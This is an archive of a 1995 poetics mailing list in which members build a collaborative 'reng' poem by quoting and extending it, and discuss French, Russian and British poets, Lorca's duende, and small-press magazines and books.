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> > sandpaper juxtaposed with seasoned instruments and recently soft
> > fruit
> > of subject's object status, violent transformation
> > la Ste. Therese into beaming cumulus apokoinu switchback
> > and in the u-turns were bookmobiles rounding angles considered
> > shrill as pine left in the acres to be aging
> > flawlessly, flutes sing genderless in trio, surprised
> > by how quiet effort really is or is not, fast enough to sleep
> > through thunderstorms, arm over thigh until light shakes
> > petals free of names that rain across known skin forgotten
> > alive in our hearse hurts, projective nurse if she is to go ahead
> > and dance, composing instead of straining muscles, far eyes
> > saunter lope pentecost beam operator will you cockpit
> > out, transplanted organs speak, the idiom
> > inseams, a snare as solvently unequal-- the power
> > uncreased although each snare still trembles quantum
> > which explains why the pump is busted and why
> > he preferred whole afternoons on the phone to that
> > crap about not having a cousin on the moon
> > capable of keeping the canoe right way up in the cool
> > prose of the upper Hudson, dinner's at seven so
> > start swimmin, bud: "lay me down in a wetsuit,
> > heats me up in the sleaze," it's like a huge dose
> of familiarity. I am storing radiance for later use
> > among the invoices and the difference engines
Char, Lee, Parr, Kerr, everybody is here and there

↑ Index

98. Christopher Reiner

Re: Jabes

Mon 4 Sep 1995

I'd like to mention another source for contemporary French writing in translation: issues three and four of AVEC magazine. Issue three has work by Royet-Journoud, Albiach, Lewinter, Dahan, Guglielmi, Bessette, Fardoulis-

Lagrange, Leris, Du Bouchet, Davie, Colobert, Fourcade (--a minefield of names, sorry for any typos). Issue four has work by Cadiot, Hocquard, Couturier, Risset, Cohen, Alferi, Fremon. They're available from AVEC, PO Box 1059, Penngrove, CA 94951. They're $7.50 a piece.

Also, I've been passing on the posts about French writing to Cydney Chadwick, AVEC's editor, and she writes:

>I don't know if you want to post this on the poetics list but Madame Renee
at the bookstore Le Divan in Paris is happy to ship books to the states
and open an account for interested readers. All you have to give her is a
credit card # (and of course you get the best exchange rate using a
card).If you want more information, i'll give you the street address and
tel.of Le Divan."
>

I can post the address if anyone is interested.

Finally, might as well put a plug in for AVEC's web page:
http://www.crl.com/~creiner/syntax/avec.html

I was really happy to see this thread on French writing (and thanks to Carolyn F. for starting it, and to Pierre and others for the names). Now, how about contemporary Russian writing...

Best,
Chris Reiner
[redacted]

↑ Index

99. Ryan Knighton
Re: fairy poems
Mon 4 Sep 1995

It's interesting that a lot of the poems referred to me have been suggested for their verse form, as opposed to direct reference to Fairy Tales or their plots. Dorn's _Gunslinger_ could be added, I suppose, for its Seussian lines.

Jordan:

You mentioned a book, I think, abt NYSchool and its relationship to kids verse. What isthe stuff on that? It sounds perfect.

Thanks all,
ryan

↑ Index

100. **Jordan Davis.**
Re: reng-reng-reng-reng
Mon 4 Sep 1995

> > In the books were dreams and in the dreams were books.>
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> > Mollycoddled than aware, thin-spined and pebbling
> > but narrow in the waist or waspish Sunday years ago
> > Over coffee topped with whipped lads, the Times blowing
> > & opining, heavy humid air, cumulus amusing against the
> > bleached ribcage ripcorded into compassed wind
> > kissing the weatherwoman between her beasts as she
> > gives gracious problem: fanatical snacks, landscape of
> > flicka my best friend and the storm in the glass of water's
> > halfway pertinent incision we keep making safe for ignorance
> > (inspection
> > denied for not knowing how credenza was meant) & neo-colonizing
> > pockets in small furniture intended house sequentially several
> > mountains away but it wasn't, you know, a big tango
> > when the attorney general came, selah hales said, "Dias, oh,ho,
> > kook!"
> > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > warehouse, curls
> > no ideas but the woven fabric the texture so to speak was at the
> > dry cleaners
> > piping hot and gloved-in somewhere unsalted, perched on
> > prescience
> > the chair is sad, alas, and i've lusted tootles' livers
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> > capable of keeping the canoe right way up in the cool
> > prose of the upper Hudson, dinner's at seven so
> > start swimmin, bud: "lay me down in a wetsuit,
> > heats me up in the sleaze," it's like a huge dose
> of familiarity. I am storing radiance for later use
> > among the invoices and the difference engines
 Char, Lee, Parr, Kerr, everybody is here and there
collecting the stamp hinges that come in on the breeze

↑ Index

101. Rod Smith
Re: fairy poems
Mon 4 Sep 1995

---

to add to Jordan's useful list:
Carla Harryman's _The Words_, part of which was an _Abacus_ & some of which is in the new city lights book, sources Sandburg's _Rootabaga Stories_ as well as Sartre's _The Words_.
--Rod

↑ Index

102. Ryan Knighton
Re: TADS
Mon 4 Sep 1995

This may be jumping the gun a bit, but it seems that I've
been elected to get the ball rolling.

Some of us G2ers here in Vancouver are planning a new publication entitled TADS. George Stanley has offered to be an advisory editor (and will be submitting some material from his new book) and GB might lend a hand if I buy him breakfast. I will be involved along with Reg Johanson (also on this list) and Thea Bowering.

Anyone interested in submitting poetry for the first issue is welcome. The more the merrier and it would be nice to have some connection to the world beyond the Fraser Valley.

Please forward schtuff to either Ryan Knighton or Reg Johanson

c/o Dept. of English
Simon Fraser University
Burnaby,B.C.
Canada
V5A 1S6

We're not set up to handle electronic submissions, so sorry. If you have any questions you can backchannel me at [redacted] . And no this project is not associated with the University. I just have less mail problems there.

↑ Index

103. Gabrielle Welford
Re: reng-reng-reng
Mon 4 Sep 1995

On Mon, 4 Sep 1995, Jordan Davis. wrote:

> > In the books were dreams and in the dreams were books.>
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> > warehouse, curls
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> > piping hot and gloved-in somewhere unsalted, perched on
> > prescience
> > the chair is sad, alas, and i've lusted tootles' livers
> > the odor day toy a cello day dis chevys a bo coo daughter chose
> > encore
> > Flaubert because we're waiting all throughout eternity for
> > moments to be
> > of such suchness. In the nooks were creams and in the streams
> > were hooks.
> > All melded like striated film leftover in the pastel seeds of
> > darkness
> > falling like a counterirritant around the manchineel. Likewise
> > sandpaper juxtaposed with seasoned instruments and recently soft
> > fruit
> > of subject's object status, violent transformation
> > la Ste. Therese into beaming cumulus apokoinu switchback
> > and in the u-turns were bookmobiles rounding angles considered
> > shrill as pine left in the acres to be aging
> > flawlessly, flutes sing genderless in trio, surprised
> > by how quiet effort really is or is not, fast enough to sleep
> > through thunderstorms, arm over thigh until light shakes
> > petals free of names that rain across known skin forgotten
> > alive in our hearse hurts, projective nurse if she is to go ahead
> > and dance, composing instead of straining muscles, far eyes
> > saunter lope pentecost beam operator will you cockpit
> > out, transplanted organs speak, the idiom
> > inseams, a snare as solvently unequal-- the power

> > uncreased although each snare still trembles quantum
> > which explains why the pump is busted and why
> > he preferred whole afternoons on the phone to that
> > crap about not having a cousin on the moon
> > capable of keeping the canoe right way up in the cool
> > prose of the upper Hudson, dinner's at seven so
> > start swimmin, bud: "lay me down in a wetsuit,
> > heats me up in the sleaze," it's like a huge dose
> of familiarity. I am storing radiance for later use
> > among the invoices and the difference engines
in the weatherwoman's barn at Hale Manoa. But you

↑ Index

104. Gabrielle Welford

Re: reng-reng-reng-reng

Mon 4 Sep 1995

On Mon, 4 Sep 1995, Jorge Guitart wrote:

> *In the books were dreams and in the dreams were books.>*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dry cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on*

> *prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose*
> *encore*
> *Flaubert because we're waiting all throughout eternity for*
> *moments to be*
> *of such suchness. In the nooks were creams and in the streams*
> *were hooks.*
> *All melded like striated film leftover in the pastel seeds of*
> *darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft*
> *fruit*
> *of subject's object status, violent transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *start swimmin, bud: "lay me down in a wetsuit,*
> *heats me up in the sleaze," it's like a huge dose*
> *of familiarity. I am storing radiance for later use*
> *among the invoices and the difference engines*
> *Char, Lee, Parr, Kerr, everybody is here and there*
> *forneruntly in dis guys. Fwot, she asked, is mortern?*

↑ Index

105. Loss Glazier

Re: Jabes

Mon 4 Sep 1995

> *Finally, might as well put a plug in for AVEC's web page:*
> *http://www.crl.com/~creiner/syntax/avec.html*

I have visited this page and would like to exclaim - it's terrific! A very good job you did, Chris. It includes samples of writing and a lot of great stuff. It's worth a visit! I even linked to it in three places at the EPC: presses, mags, and what's new.

Loss Glazier
Electronic Poetry Center
http://writing.upenn.edu/epc

↑ Index

106. Jorge Guitart
Re: reng-reng-reng
Mon 4 Sep 1995

On Mon, 4 Sep 1995, Gabrielle Welford wrote:

> On Mon, 4 Sep 1995, Jordan Davis. wrote:
>
> > > In the books were dreams and in the dreams were books.>
> > > And flew through windows, lightning green and fine morning
> > > First inverted whistle of a cardinal in the poplar
> > > The book and the oboe on the grass under sun and cloud
> > > Go endlessly, an obtuse Prussian blue, it binds
> > > The caravan of windows to what they flee
> > > These lace curtains, more gauze than bondage, more
> > > Mollycoddled than aware, thin-spined and pebbling
> > > but narrow in the waist or waspish Sunday years ago
> > > Over coffee topped with whipped lads, the Times blowing
> > > & opining, heavy humid air, cumulus amusing against the
> > > bleached ribcage ripcorded into compassed wind
> > > kissing the weatherwoman between her beasts as she
> > > gives gracious problem: fanatical snacks, landscape of
> > > flicka my best friend and the storm in the glass of water's
> > > halfway pertinent incision we keep making safe for ignorance
> > > (inspection
> > > denied for not knowing how credenza was meant) & neo-colonizing
> > > pockets in small furniture intended house sequentially several
> > > mountains away but it wasn't, you know, a big tango
> > > when the attorney general came, selah hales said, "Dias, oh,ho,
> > > kook!"
> > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > > warehouse, curls
> > > no ideas but the woven fabric the texture so to speak was at the

> > > dry cleaners
> > > piping hot and gloved-in somewhere unsalted, perched on
> > > prescience
> > > the chair is sad, alas, and i've lusted tootles' livers
> > > the odor day toy a cello day dis chevys a bo coo daughter chose
> > > encore
> > > Flaubert because we're waiting all throughout eternity for
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> > > falling like a counterirritant around the manchineel. Likewise
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> > > la Ste. Therese into beaming cumulus apokoinu switchback
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> > > by how quiet effort really is or is not, fast enough to sleep
> > > through thunderstorms, arm over thigh until light shakes
> > > petals free of names that rain across known skin forgotten
> > > alive in our hearse hurts, projective nurse if she is to go ahead
> > > and dance, composing instead of straining muscles, far eyes
> > > saunter lope pentecost beam operator will you cockpit
> > > out, transplanted organs speak, the idiom
> > > inseams, a snare as solvently unequal-- the power
> > > uncreased although each snare still trembles quantum
> > > which explains why the pump is busted and why
> > > he preferred whole afternoons on the phone to that
> > > crap about not having a cousin on the moon
> > > capable of keeping the canoe right way up in the cool
> > > prose of the upper Hudson, dinner's at seven so
> > > start swimmin, bud: "lay me down in a wetsuit,
> > > heats me up in the sleaze," it's like a huge dose
> > of familiarity. I am storing radiance for later use
> > > among the invoices and the difference engines
> in the weatherwoman's barn at Hale Manoa. But you
fell into the volcano because you wanted to, Mr. Kahuna,

↑ Index

107. **Jorge Guitart**
Re: reng-reng-reng-reng
Mon 4 Sep 1995

On Mon, 4 Sep 1995, Gabrielle Welford wrote:

> On Mon, 4 Sep 1995, Jorge Guitart wrote:
>
> > > > In the books were dreams and in the dreams were books.>
> > > > And flew through windows, lightning green and fine morning
> > > > First inverted whistle of a cardinal in the poplar
> > > > The book and the oboe on the grass under sun and cloud
> > > > Go endlessly, an obtuse Prussian blue, it binds
> > > > The caravan of windows to what they flee
> > > > These lace curtains, more gauze than bondage, more
> > > > Mollycoddled than aware, thin-spined and pebbling
> > > > but narrow in the waist or waspish Sunday years ago
> > > > Over coffee topped with whipped lads, the Times blowing
> > > > & opining, heavy humid air, cumulus amusing against the
> > > > bleached ribcage ripcorded into compassed wind
> > > > kissing the weatherwoman between her beasts as she
> > > > gives gracious problem: fanatical snacks, landscape of
> > > > flicka my best friend and the storm in the glass of water's
> > > > halfway pertinent incision we keep making safe for ignorance
> > > > (inspection
> > > > denied for not knowing how credenza was meant) & neo-colonizing
> > > > pockets in small furniture intended house sequentially several
> > > > mountains away but it wasn't, you know, a big tango
> > > > when the attorney general came, selah hales said, "Dias, oh,ho,
> > > > kook!"
> > > > Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
> > > > warehouse, curls
> > > > no ideas but the woven fabric the texture so to speak was at the
> > > > dry cleaners
> > > > piping hot and gloved-in somewhere unsalted, perched on
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> > > > the chair is sad, alas, and i've lusted tootles' livers
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> > > > encore
> > > > Flaubert because we're waiting all throughout eternity for
> > > > moments to be
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> > > > falling like a counterirritant around the manchineel. Likewise
> > > > sandpaper juxtaposed with seasoned instruments and recently soft
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> > > > through thunderstorms, arm over thigh until light shakes
> > > > petals free of names that rain across known skin forgotten
> > > > alive in our hearse hurts, projective nurse if she is to go ahead
> > > > and dance, composing instead of straining muscles, far eyes
> > > > saunter lope pentecost beam operator will you cockpit
> > > > out, transplanted organs speak, the idiom
> > > > inseams, a snare as solvently unequal-- the power
> > > > uncreased although each snare still trembles quantum
> > > > which explains why the pump is busted and why
> > > > he preferred whole afternoons on the phone to that
> > > > crap about not having a cousin on the moon
> > > > capable of keeping the canoe right way up in the cool
> > > > prose of the upper Hudson, dinner's at seven so
> > > > start swimmin, bud: "lay me down in a wetsuit,
> > > > heats me up in the sleaze," it's like a huge dose
> > > of familiarity. I am storing radiance for later use
> > > > among the invoices and the difference engines
> > Char, Lee, Parr, Kerr, everybody is here and there
> > forneruntly in dis guys. Fwot, she asked, is mortern?
plus de certains oiseaux americains, replied d'arnot

↑ Index

108. Kathryne Lindberg

Re: duende

Mon 4 Sep 1995

Yes, it was this reference to which I referred.

↑ Index

109. Joseph Zitt
Re: TADS
Mon 4 Sep 1995

On 4 Sep 95 at 11:59, Ryan Knighton wrote:

> *Some of us G2ers here in Vancouver are planning a new publication entitled TADS. George Stanley has offered to be an advisory editor (and will*

G2ers? I remember seeing a definition of the G(n) terms a long time back (when I didn't recognize most of the names, which I probably would now) but don't recall the mapping. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer, SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

↑ Index

110. Charles O. Hartman
Re: Jabes
Mon 4 Sep 1995

> *Now, how about contemporary Russian writing...*

Well, how about Nina Eskrenko?

Charles Hartman

↑ Index

111. George Bowering
Re: reng-reng-reng-reng
Mon 4 Sep 1995

> *On Mon, 4 Sep 1995, Jorge Guitart wrote:*
>
> *In the books were dreams and in the dreams were books.>*
> *And flew through windows, lightning green and fine morning*
> *First inverted whistle of a cardinal in the poplar*
> *The book and the oboe on the grass under sun and cloud*
> *Go endlessly, an obtuse Prussian blue, it binds*
> *The caravan of windows to what they flee*
> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *with matching five-piece hush-orange ensemble*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed wind*

> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, bayou of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dry cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all throughout eternity for moments to be*
> *of such suchness. In the nooks were creams and in the streams were hooks.*
> *All melded like striated film leftover in the pastel seeds of darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft fruit*
> *of subject's object status, viola transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum*
> *which explains why the pump is busted and why*
> *he preferred whole afternoons on the phone to that*
> *crap about not having a cousin on the moon*
> *capable of keeping the canoe right way up in the cool*
> *prose of the upper Hudson, dinner's at seven so*
> *start swimmin, bud: "lay me down in a wetsuit,*

> *heats me up in the sleaze," it's like a huge dose*
> *of familiarity. I am storing radiance for later use*
> *among the invoices and the difference engines*
> *Char, Lee, Parr, Kerr, everybody is here and there*
> *forneruntly in dis guys. Fwot, she asked, is mortern?*
> *Know thee not? quoth large Phillipus den Bernstein. 'tis*

↑ Index

112. George Bowering

Re: duende

Mon 4 Sep 1995

First place I read Lorca's duende essay was in the introduction to the Penguin Book of Garcia Lorca's poetry. It was a big item among the young poets in Vancouver ca. 1960.

↑ Index

113. Ron Silliman

Poets, Nations, Goblins

Mon 4 Sep 1995

>> Now, how about contemporary Russian writing...
>
>Well, how about Nina Eskrenko?
>
>Charles Hartman
>
Like Franco Beltrametti, a wonderful witty gentle person who died much too soon.

The best one volume intro to contemporary Russian poetry that I know of is Third Wave, edited by Kent Johnson (who may or may not be the trickster behind the fictive Araki Yasusada) and Stephen Avery, with by Alexei Parshchikov and Andrew Wachtel (U Michigan, 1992), which grew out of Kent and Stephen's participation in the 1989 Leningrad conference.

All these poets seem bedeviled by the relationship of writing to nationhood. Beltrametti, whom I only met twice (once at Canessa Park in SF and once in the south of France), was I believe from Belgium or Switzerland and had a knack for European languages akin to Pierre or Anselm Hollo's. If his work isn't well known in the west, it's precisely because of that ambiguity of place.

The Russian literary scene seems to have been exploded with the end of the Soviet state. Many of the best Russian poets are now expatriates (like Ilya Kutik) or at least spend as much time out of the country as possible, while

others have watched the safety net that was Stalinism collapse out from under them (such as Parshchikov who, last I heard, was homeless and living a street alcoholic's life in Moscow, less than a decade after having been a very successful editor of an agricultural youth magazine and a stint in California, where the alienness of it all proved too much). I haven't heard in ages from or about Ivan Zhdanov, who was already at the Bob Kauffman/Gregory Corseo level of social tenuousness before the collapse of Communism.

There is no question in my mind that many of the best/most exciting writers of my generation are Russians, but it seems very difficult to imagine what the future of Russian (or, more broadly, "post Soviet") writing itself can be under such circumstances. Somebody like Arkadii Dragomoshchenko, after all, is Ukraine by birth and would, in today's circumstances, never become part of "Russian" literature alongside a Tartar from Moscow like Parshchikov or a Siberian like Zhdanov.

I have often wondered what it would be like, as a life experience, to participate in a literature of fewer than 100 million people, like French (say). Imagine California poetry as a national literature. That would I imagine change the experience of a "career" as a poet a lot. Leland Hickman's willingness to publish poets not strictly local to Los Angeles would have seemed an even more radical act than it was (and, as it was, it got him pretty well ostracized in LA).

And I used to think that some of the great similarities between Russian and American writing had to do with their vast populations and expanse and multicultural roots COMBINED (very central) with a deep ambivalence about their relationship to Europe. But that Russia doesn't exist any more.

Ron Silliman
[redacted]

↑ Index

114. Thomas Bell
Re: duende
Tue 5 Sep 1995

I've seen a reference to Lorcas duende as referring to the same phenomenon as Blues as a way of dealing with life - nut don't know where,

Tom

↑ Index

115. Thomas Bell
Re: reng-reng-reng-reng
Tue 5 Sep 1995

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↑ Index

116. Thomas Bell
Re: reng-reng-reng-reng
Tue 5 Sep 1995

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↑ Index

117. Louis Cabri
(no subject)
Tue 5 Sep 1995

In the books were dreams and in the dreams were books.>
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud

Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
white stucco volutes and scrolls and flakes and feathers
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
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the chair is sad, alas, and i've lusted tootles' livers
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All melded like striated film leftover in the pastel seeds of darkness
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sandpaper juxtaposed with seasoned instruments and recently soft fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised

by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom pronounced I's and
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
    heats me up in the sleaze," it's
Decoration Day & I'm the Bard of Dubuque, impatient for
soft cores--contrailed poesy & sweet moonsuck--japes' phizz

↑ Index

118. Thomas Bell

remg.reng.reng.reng

Tue 5 Sep 1995

Jordan Davis writes

> > In the books were dreams and in the dreams were books.>
> > And flew through windows, lightning green and fine morning
> > First inverted whistle of a cardinal in the poplar
> > The book and the oboe on the grass under sun and cloud
> > Go endlessly, an obtuse Prussian blue, it binds
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> > flicka my best friend and the storm in the glass of water's
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> > la Ste. Therese into beaming cumulus apokoinu switchback
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> > alive in our hearse hurts, projective nurse if she is to go ahead
> > and dance, composing instead of straining muscles, far eyes
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> > out, transplanted organs speak, the idiom
> > inseams, a snare as solvently unequal-- the power
> > uncreased although each snare still trembles quantum
> > which explains why the pump is busted and why
> > he preferred whole afternoons on the phone to that
> > crap about not having a cousin on the moon
> > capable of keeping the canoe right way up in the cool
> > prose of the upper Hudson, dinner's at seven so

> > start swimmin, bud: "lay me down in a wetsuit,
> > heats me up in the sleaze," it's like a huge dose
> of familiarity. I am storing radiance for later use
> > among the invoices and the difference engines
> Char, Lee, Parr, Kerr, everybody is here and there
 >collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
,

↑ Index

119. R I Caddel

Re: UK-CALL

Tue 5 Sep 1995

To support the mentions of Shamoon Zamir and Clive Bush (King's, London) and Peter Nicholls (Sussex), and add a couple to the names given so far: also at Sussex are Andrew Crozier (Ferry Press, co-editor of A Various Art) and Drew Milne (Parataxis). Crozier is an original "Cambridge Poet" if that term has meaning, tho as Pierre suggests the "Cambridge School" is, if anything, an even less structured group than the "objectivists". It hasn't imploded though, it's fragmented, with lots of little plants, runners or suckers around the place. Sign of good health in plant life.

The "Cambridge Poets" are taken quite seriously now, for instance by Michael Schmidt who teaches at Manchester, and publishes John Riley and Michael Haslam in Carcanet Press. He has, for instance, supervised postgraduate work on Grosseteste Review, one of the mags most closely associated with Cambridge. Much more sympathetic, and broader in range and insight, would be people like Robert Hampson (Royal Holloway, London) or Peter Middleton (Southampton), or Tony Lopez (Plymouth). There are also little enclaves of interest in Essex (John Muckle), York and other places where I can't place the names. Two sympathetic colleagues in Durham who do at least read the stuff are Diana Collecott and Gareth Reeves.

It's even possible to study Bunting in the UK these days, George: Essex and York include him regularly in their Masters courses, and of course here in Durham, at the Basil Bunting Poetry Centre. Being dead helped his cause no end - I'm working on the same premise myself. x

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x x

x x "Words! Pens are too light. Take a chisel to write." x x
- Basil Bunting x x x

↑ Index

120. R I Caddel
New Books
Tue 5 Sep 1995

Two new ones from Reality Street Editions, 4 Howard Court, Peckham Rye, London SE15 3PH (also through SPD):

DISTANT POINTS Peter Riley six pounds fifty (yes! he's said to be a "Cambridge Poet") - the first chunk of a long work built on archeological reports. Surely someone will do a collected, or even a selected, Peter Riley soon?

O'CLOCK Fanny Howe six pounds fifty - poems written in Ireland and the UK - good as ever:

> Rambling snowmounds and still sheep along
> Cheviot Hills, dense fog, dots of dirt,
> snow-banged buildings, scraped fields.
> Land pays the price for becoming human.

x x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

121. Keith Tuma
Re: UK-CALL
Tue 5 Sep 1995

Dear Ric C:

A couple of days ago you mentioned John Riley's "Czargrad" as one of the best poems out of the UK in twenty years. I wonder--if you've time--if you might elaborate a little. What, in your opinion, makes it so? What are some of the competitors? Don't mean to put you on the spot: feel free to ignore this public query.

Regarding the "Cambridge School," I've recently had brought home to me in correspondence the degree of skepticism about the career and activities of the late Eric Mottram among some of that group. The smaller the pie, the sharper the knife? Or something more serious? Another query to be ignored at your pleasure.

--Keith Tuma

↑ Index

122. Jerry Rothenberg
Re: duende
Tue 5 Sep 1995

About Lorca's duende & blues, you might want to check out those lyrics in which the blues are personfied, emerge as living beings, to fill the singer/poet with deep song, deep thoughts, or draw it out of him/her. E.g.:

> woke up this morning
> blues all around my bed

etc. That kind of thing. And then the way one speaks of having the blues -- not in a negative way but as it allows the song/ the poem to come -- is very reminiscent of Lorca's duende & his take on cante _hondo_.

It's also useful to not forget the popular thrust in Lorca & other germinal poets of language.

Jerome Rothenberg
[redacted]

↑ Index

123. A. Morris
address query
Tue 5 Sep 1995

For a project in process I'd like to be able to get in touch with Tina Darragh, P. Inman, Erica Hunt, & Mei-mei Bersenbrugge. Can anyone help me backchannel with addresses s-mail or e-mail? Thanks--

Dee

↑ Index

124. Edward Foster
Re: Dear Ed Foster,
Tue 5 Sep 1995

But, Ron, the title "All Acts Are Simply Acts" is, to my mind, wholly ironic, and everything in the book works against it. When acts are simply acts we can charm ourselves with such matters as the placement of words on the page. Or whatever.

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125. Tina
Re: UK-CALL
Tue 5 Sep 1995

Subject: Gratefully
To: Ric Caddel, Aaron Shurin, George Bowering, Pierre Joris, Peter Larkin, Ira Lightman, Marjorie Perloff, Keith Tuma & others

I owe you all. After posting that message I went home & practically cried (nervousness & so on). Have downloaded all responses & will read them over carefully, then get back to (some of) you. Who knows, this may actually work out, thanks to all your help--& maybe I'll see some of you there.

I havent been following the French poets discussion closely, but thought I would mention J. Roubaud & others (Albiach? Royet-Journoud?) will be reading at Brown in late October, in case it hasn't come up yet, if it makes a difference to anyone--I imagine you all find out these things through other channels but there it is--

Tina

↑ Index

126. Ken Edwards
UK poetry
Tue 5 Sep 1995

The following message intended for Cristina Brown was returned to me as undeliverable, so I'm posting it here, as an addendum to recent messages from Pierre, Ric and George. By the way, I'd like to endorse much of what Ric said about the US/UK relationship. And to add that while it's good that folks are getting interested in current French and post-Soviet writing, I'm forever mystified why "interesting" British poetry is still so widely ignored in the US. Can't be a translation problem, surely....

Dear Cristina,

Just picked up your request from the Poetics list. Small correction: John James lives and works in the city of Cambridge, but not at Cambridge University - you'll find him at Anglia Polytechnic University. Andrew (not Anthony) Crozier is at Sussex. Others you may want to contact for leads: Drew Milne, also at Sussex; Peter Middleton at Southampton. English depts in each case. Ric Caddel you already know.

Worth contacting in the US, as well as Peter Quartermain, who has already been mentioned: Romana Huk at the University of New Hampshire. Sorry, don't

yet have a proper address for her, as she's only recently returned there after a couple of years here in the UK - but she's planning a big conference at UNH for 1996 on current UK poetries. She's done some work on Denise Riley, John Wilkinson etc.

